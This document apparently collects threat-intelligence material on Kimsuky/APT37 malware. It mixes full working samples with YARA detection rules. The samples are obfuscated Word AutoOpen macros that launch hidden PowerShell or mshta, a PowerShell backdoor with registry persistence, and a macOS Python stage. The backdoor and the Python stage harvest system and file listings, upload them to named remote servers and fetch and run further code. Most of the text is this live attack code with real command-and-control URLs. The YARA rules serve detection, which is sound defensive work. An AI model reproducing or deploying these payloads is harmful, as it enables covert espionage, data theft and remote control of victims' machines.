Sub AutoOpen()    asfwefsadfasfsadf    dsfweqfasdfwqfsdaf    asfwqfasfsdafas    sdfqefsdafsadfwqefsadfEnd Sub

Function dsfweqfasdfwqfsdaf()    Dim qewrtredf(10) As String    Dim vbNormalFocus As Integer    vbNormalFocus = Right(Left("jfsklfkshsdf023jkjffkjfkjisfj23", 13), 1)    qewrtredf(1) = "$+DC$+D:$+D\$+DW$+Di$+Dn$+Dd$+Do$+Dw$+Ds$+D\$+DS$+Dy$+Ds$+DW$+DO$+DW$+D$+D6$+D4$+D\$+DW$+Di$+Dn$+Dd$+Do$+Dw$+Ds$+DP$+Do$+Dw$+D$+De$+Dr$+DS$+Dh$+De$+Dl$+Dl$+D$+D\$+Dv$+D1$+D.$+D0$+D\$+Dp$+D$+Dow$+De$+Dr$+D$+Ds$+Dh$+De$+Dl$+Dl$+D.$+De$+Dx$+De$+D $+D-$+DW$+Di$+Dn$+Dd$+Do$+Dw$+DS$+Dt$+Dy$+Dl$+De"    qewrtredf(2) = "$+D $+DH$+Di$+Dd$+Dd$+De$+Dn$+D $+D-$+Dc$+Do$+Dm$+Dm$+Da$+Dn$+Dd$+D $+D&$+D{$+D[$+Ds$+Dt$+Dr$+Di$+Dn$+Dg$+D]$$+Da$+D"    qewrtredf(3) = "=$+D{$+D($+DN$+De$+Dw$+D-$+DO$+Db$+Dj$+De$+Dc$+Dt$+D $+DN$+De$+Dt$+D.$+DW$+De$+Db$+DC$+Dl$+Di$+De$+Dn$+Dt$+D)$+D."    qewrtredf(4) = "$+DD$+Do$+D($+D'h$+Dt$+Dt$+Dp$+D:$+D/$+D/$+Dg$+Do$+Dl$+Dd$+Db$+Di$+Dn$+D.$+Dm$+Dy$+Da$+Dr$+Dt$+Ds$+Do$+Dn$+Dl"    qewrtredf(5) = "$+Di$+Dn$+De$+D.$+Dc$+Do$+Dm$+D/$+Dl$+De$+D/$+Dyj$+D.$+Dt$+Dx$+Dt'$+D)"    qewrtredf(6) = "$+D}$+D;$+D$$+Db$+D=$+D$$+Da$+D.$+Di$+Dn$+Ds$+De$+Dr$+Dt$+D($+D2$+D9$+D,$+D'$+Dw$+Dn$+Dl$+Do$+Da$+Dd$+DS$+Dt$+D"    qewrtredf(7) = "r$+Di$+Dn$+Dg$+D'$+D)$+D;$+D$$+Dc$+D=$+Di$+De$+Dx$+D $+D$$+Db$+D;$+Di$+De$+Dx$+D $+D$$+Dc$+D}"    iefkdfknfk = qewrtredf    wrewsdfdsfsad = Join(iefkdfknfk, "")    wrewsdfdsfsad = Replace(wrewsdfdsfsad, "$+D", "")    qwersdfjoi = Shell(wrewsdfdsfsad, vbNormalFocus)End Function
Function asfwefsadfasfsadf()  Selection.Delete Unit:=wdCharacter, Count:=1End Function
Function asfwqfasfsdafas()    Selection.WholeStory    With Selection.Font        .NameFarEast = "讣篮 绊雕"        .NameAscii = ""        .NameOther = ""        .Name = ""        .Hidden = False    End WithEnd Function
Function sdfqefsdafsadfwqefsadf()    With Selection.ParagraphFormat        .LeftIndent = CentimetersToPoints(2)        .SpaceBeforeAuto = True        .SpaceAfterAuto = True    End With    With Selection.ParagraphFormat        .RightIndent = CentimetersToPoints(2)        .SpaceBeforeAuto = True        .SpaceAfterAuto = True    End With    Selection.PageSetup.TopMargin = CentimetersToPoints(2.5)    Selection.PageSetup.BottomMargin = CentimetersToPoints(2.5)End Function

$SERVER_ADDR = "http://goldbin.myartsonline.com/le/"$UP_URI = "post.php"$upName = "yj"$LocalID = "yj"$LOG_FILENAME = "Alzip.hwp"$LOG_FILEPATH = "\Alzip\"$TIME_VALUE = 1000*60*30$RegValueName = "Alzipupdate"$RegKey = "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"$regValue = "cmd.exe / c powershell.exe -windowstyle hidden IEX (New-Object System.Net.WebClient).DownloadString('http://goldbin.myartsonline.com/le/yj.txt')"function decode($encstr)$key = [byte[]](0,2,4,3,3,6,4,5,7,6,7,0,5,5,4,3,5,4,3,7,0,7,6,2,6,2,4,6,7,2,4,7,5,5,7,0,7,3,3,3,7,3,3,1,4,2,3,7,0,2,7,7,3,5,1,0,1,4,0,5,0,0,0,0,7,5,1,4,5,4,2,0,6,1,4,7,5,0,1,0,3,0,3,1,3,5,1,2,5,0,1,7,1,4,6,0,2,3,3,4,2,5,2,5,4,5,7,3,1,0,1,6,4,1,1,2,1,4,1,5,4,2,7,4,5,1,6,4,6,3,6,4,5,0,3,6,4,0,1,6,3,3,5,7,0,5,7,7,2,5,2,7,7,4,7,5,5,0,5,6)$len = $encstr.Length$j = 0$i = 0$comletter = ""while($i -lt $len)$j = $j % 160$asciidec = $encstr[$i] -bxor $key[$j]$dec = [char]$asciidec$comletter += $decreturn $comletterfunction UpLoadFunc($logpath)$Url = $SERVER_ADDR + $UP_URI$bReturn = $True$testpath = Test-Path $logpathif($testpath -eq $False)return $bReturn$hexdata = [IO.File]::ReadAllText($logpath)$encletter = decode $hexdata$nEncLen = $encletter.Length$LF = "$templen = 0x100000$sum = 0$szOptional = ""$pUploadData = ""Start-Sleep -Milliseconds 100$readlen = $templenif (($nEncLen - $sum) -lt $templen)$readlen = $nEncLen - $sumif ($readlen -ne 0)$pUploadData = $encletter + $sum$sum += $readlen$pUploadData += "ending"$sum += 9$readlen = 6Start-Sleep -Milliseconds 1$boundary = "----WebKitFormBoundarywhpFxMBe19cSjFnG"$ContentType = 'multipart/form-databoundary=' + $boundary$bodyLines = ("--$boundary","Content-Disposition: form-dataname="MAX_FILE_SIZE"$LF","10000000","userfilefilename="$upName"Content-Type: application/octet-stream$LF",$pUploadData,"--$boundary") -join $LF$psVersion = $PSVersionTable.PSVersion$r = [System.Net.WebRequest]::Create($Url)$r.Method = "POST"$r.UseDefaultCredentials = $true$r.ContentType = $ContentType$enc = [system.Text.Encoding]::UTF8$data1 = $enc.GetBytes($bodyLines)$r.ContentLength = $data1.Length$newStream = $r.GetRequestStream()$newStream.Write($data1, 0, $data1.Length)$newStream.Close()if($php_post -like "ok")echo "UpLoad Successecho "UpLoad Fail$bReturn = $False} while ($sum -le $nEncLen)function FileUploading($upPathName)$bRet = $True$testpath = Test-Path $upPathNamereturn $bRet$UpL = UpLoadFunc $upPathNameif($UpL -eq $False)$bRet = $Falseecho "Successdel $upPathNamefunction Download$downname = $LocalID + ".down"$delphppath = $SERVER_ADDR + "del.php"$downpsurl = $SERVER_ADDR + $downname$codestring = (New-Object System.Net.WebClient).DownloadString($downpsurl)$comletter = decode $codestring$decode = $executioncontext.InvokeCommand.NewScriptBlock($comletter)$RunningJob = Get-Job -State Runningif($RunningJob.count -lt 3)$JobName = $RunningJob.count + 1Start-Job -ScriptBlock $decode -Name $JobName$JobName = $RunningJob.countStop-Job -Name $RunningJob.NameRemove-Job -Name $RunningJob.Name$down_Server_path = $delphppath + "filename=$LocalID"$response = [System.Net.WebRequest]::Create($down_Server_path).GetResponse()$response.Close()function Get_info($logpath)Get-ChildItem ([Environment]::GetFolderPath("Recent")) >> $logpathdir $env:ProgramFiles >> $logpathdir "C:\Program Files (x86)" >> $logpathsysteminfo >> $logpathtasklist >> $logpathfunction mainSet-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force$FilePath = $env:APPDATA + $LOG_FILEPATHNew-Item -Path $FilePath -Type directory -Force$szLogPath = $FilePath + $LOG_FILENAME$key = Get-Item -Path $RegKey$exists = $key.GetValueNames() -contains $RegValueNameif($exists -eq $False)$value1 = New-ItemProperty -Path $RegKey -Name $RegValueNameGet_info $szLogPathwhile ($true)FileUploading $szLogPathStart-Sleep -Milliseconds 10000DownloadStart-Sleep -Milliseconds $TIME_VALUE

function main  Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force  $FilePath = $env:APPDATA + $LOG_FILEPATH  New-Item -Path $FilePath -Type directory -Force  $szLogPath = $FilePath + $LOG_FILENAME  $key = Get-Item -Path $RegKey  $exists = $key.GetValueNames() -contains $RegValueName  if($exists -eq $False)    $value1 = New-ItemProperty -Path $RegKey -Name $RegValueName    Get_info $szLogPath  while ($true)    FileUploading $szLogPath    Start-Sleep -Milliseconds 10000    Download    Start-Sleep -Milliseconds $TIME_VALUE

import "pe"rule KimSuky_Ps_Backdoor{    meta:        description = "powershell backdoor"        author = "p1ut0"        date = "2020-10-12"        reference = "https://twitter.com/cyberwar_15/status/1315160377156460544"        hash = "772a5abc0e946230a50628db4a08dd80"
    strings:        $url_string1 = "$downname = $LocalID + \".down\""   fullword ascii
        $url_execPs = "cmd.exe / c powershell.exe -windowstyle hidden IEX"                $file_op1 = "dir $env:ProgramFiles >> $logpath" fullword ascii        $file_op2 = "dir \"C:\\Program Files (x86)\" >> $logpath"   fullword ascii        $file_op3 = "systeminfo >> $logpath"    fullword ascii        $file_op4 = "tasklist >> $logpath"  fullword ascii    condition:        (            uint16(0) != 0x5A4D        )        and        (            all of ($url_*)         )        and         (            2 of ($file_*)         )}

rule KimSuky_Downloader{    meta:        description = "pe dowbnloader"        author = "p1ut0"        date = "2020-10-12"        reference = "https://twitter.com/cyberwar_15/status/1315160377156460544"        hash = "ffff18fc7c2166c2a1a3c3d8bbd95ba1"
    strings:        $url_string1 = "WebKitFormBoundarywhpFxMBe19cSjFnG"   fullword ascii
                $file_op1 = "/c systeminfo >> %s" fullword ascii        $file_op3 = "/c dir %s\\ >> %s" fullword ascii        $file_op2 = "\\Microsoft\\HNC"   fullword ascii        $file_resName  = "JUYFON"            condition:        (            uint16(0) == 0x5A4D        )        and        (            $url_string1        )        and         (            3 of ($file_*)         )}

Const wwfxmpquap = 0Private Function uvwycgyhqtmt(ByVal zjkvoxjeyiqc As String) As String    Dim tkwzqharcnkh As LongFor tkwzqharcnkh = 1 To Len(zjkvoxjeyiqc) Step 2uvwycgyhqtmt = uvwycgyhqtmt & Chr$(Val("&H" & Mid$(zjkvoxjeyiqc, tkwzqharcnkh, 2)))Next tkwzqharcnkhEnd Function
Sub psjmjmntntn(kmsghjrsxteynvkbz As String)With CreateObject(uvwycgyhqtmt("5753637269") & uvwycgyhqtmt("70742e5368656c6c")).Run kmsghjrsxteynvkbz, wwfxmpquap, TrueEnd WithEnd Sub
Sub AutoOpen()With ActiveDocument.Background.Fill.ForeColor.RGB = RGB(255, 255, 255).Visible = msoTrue.SolidEnd WithSelection.WholeStoryContent = uvwycgyhqtmt("6d7368746120687474703a2f2f766e6578742e6d697265") & uvwycgyhqtmt("656e652e636f6d2f7468656d652f62617369632f736b696e2f6d656d6265722f62617369632f75706c6f61642f7365617263682e687461202f66")Selection.Font.Hidden = Falsepsjmjmntntn (Content)Selection.CollapseActiveDocument.SaveEnd Sub

## contents of http://crphone.mireene.com/plugin/editor/Templates/filedown.php?name=v1:import os;import posixpath;home_dir = posixpath.expandvars("$HOME");normal_dotm = home_dir + "/../../../Group Containers/UBF8T346G9.Office/User Content.localized/Templates.localized/normal.dotm"os.system("rm -f '" + normal_dotm + "'");fd = os.open(normal_dotm,os.O_CREAT | os.O_RDWR);import urllib2;data = urllib2.urlopen(urllib2.Request('http://crphone.mireene.com/plugin/editor/Templates/filedown.php?name=normal')).read()os.write(fd, data);os.close(fd)exec(urllib2.urlopen(urllib2.Request('http://crphone.mireene.com/plugin/editor/Templates/filedown.php?name=v60')).read())

## contents of http://crphone.mireene.com/plugin/editor/Templates/filedown.php?name=v60import osimport posixpathimport timeimport urllib2import threadingfrom httplib import *
def CollectData():  #create work directory  home_dir = posixpath.expandvars("$HOME")  workdir = home_dir + "/../../../Group Containers/UBF8T346G9.Office/sync"  os.system("mkdir -p '" + workdir + "'")
  #get architecture info  os.system("python -c 'import platform;print(platform.uname())' >> '" + workdir + "/arch.txt'")  #get systeminfo  os.system("system_profiler -detailLevel basic >> '" + workdir + "/basic.txt'")  #get process list  #os.system("ps -ax >> '" + workdir + "/ps.txt'")  #get using app list  os.system("ls -lrS /Applications >> '" + workdir + "/app.txt'")  #get documents file list  os.system("ls -lrS '" + home_dir + "/documents' >> '" + workdir + "/documents.txt'")  #get downloads file list  os.system("ls -lrS '" + home_dir + "/downloads' >> '" + workdir + "/downloads.txt'")  #get desktop file list  os.system("ls -lrS '" + home_dir + "/desktop' >> '" + workdir + "/desktop.txt'")  #get volumes info  os.system("ls -lrs /Volumes >> '" + workdir + "/vol.txt'")  #get logged on user list  #os.system("w -i >> '" + workdir + "/w_i.txt'")  #zip gathered informations  zipname = home_dir + "/../../../Group Containers/UBF8T346G9.Office/backup.zip"  os.system("rm -f '" + zipname + "'")  zippass = "doxujoijcs0qei09213@#$@"  zipcmd = "zip -m -r '" + zipname + "' '" + workdir + "'"  print(zipcmd)  os.system(zipcmd)

  try:    BODY = open(zipname, mode='rb').read()    headers = {"User-Agent" : "Mozilla/5.0 compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/7.0", "Accept-Language" : "en-US,en;q=0.9", "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8", "Content-Type" : "multipart/form-data; boundary=----7e222d1d50232"} ;    boundary = "----7e222d1d50232";    postData = "--" + boundary + "\r\nContent-Disposition: form-data; name=""MAX_FILE_SIZE""\r\n\r\n1000000\r\n--" + boundary + "\r\nContent-Disposition: form-data; name=""file""; filename=""1.txt""\r\nContent-Type: text/plain\r\n\r\n" + BODY + "\r\n--" + boundary + "--";    conn = HTTPConnection("crphone.mireene.com")    conn.connect()    conn.request("POST", "/plugin/editor/Templates/upload.php", postData, headers)    conn.close()
    #delete zipped file    os.system("rm -f '" + zipname + "'")  except:    print "error"    
    def ExecNewCmd():  exec(urllib2.urlopen(urllib2.Request('http://crphone.mireene.com/plugin/editor/Templates/filedown.php?name=new')).read())


def SpyLoop():  while True:    CollectData()    ExecNewCmd()    time.sleep(300)
main_thread = threading.Thread(target=SpyLoop)main_thread.start()

rule APT_NK_Methodology_Artificial_UserAgent_IE_Win7 {    meta:        author = "Steve Miller aka @stvemillertime"        description = "Detects hard-coded User-Agent string that has been present in several APT37 malware families."        hash1 = "e63efbf8624a531bb435b7446dbbfc25"        score = 45    strings:        $a1 = "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"        $a2 = {4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 36 2e 31 3b 20 57 4f 57 36 34 3b 20 54 72 69 64 65 6e 74 2f 37 2e 30 3b 20 72 76 3a 31 31 2e 30 29 20 6c 69 6b 65 20 47 65 63 6b 6f 00 00 00 00}        $fp1 = "Esumsoft" wide        $fp2 = "Acunetix" wide ascii    condition:        uint16(0) == 0x5A4D and all of ($a*) and not 1 of ($fp*)}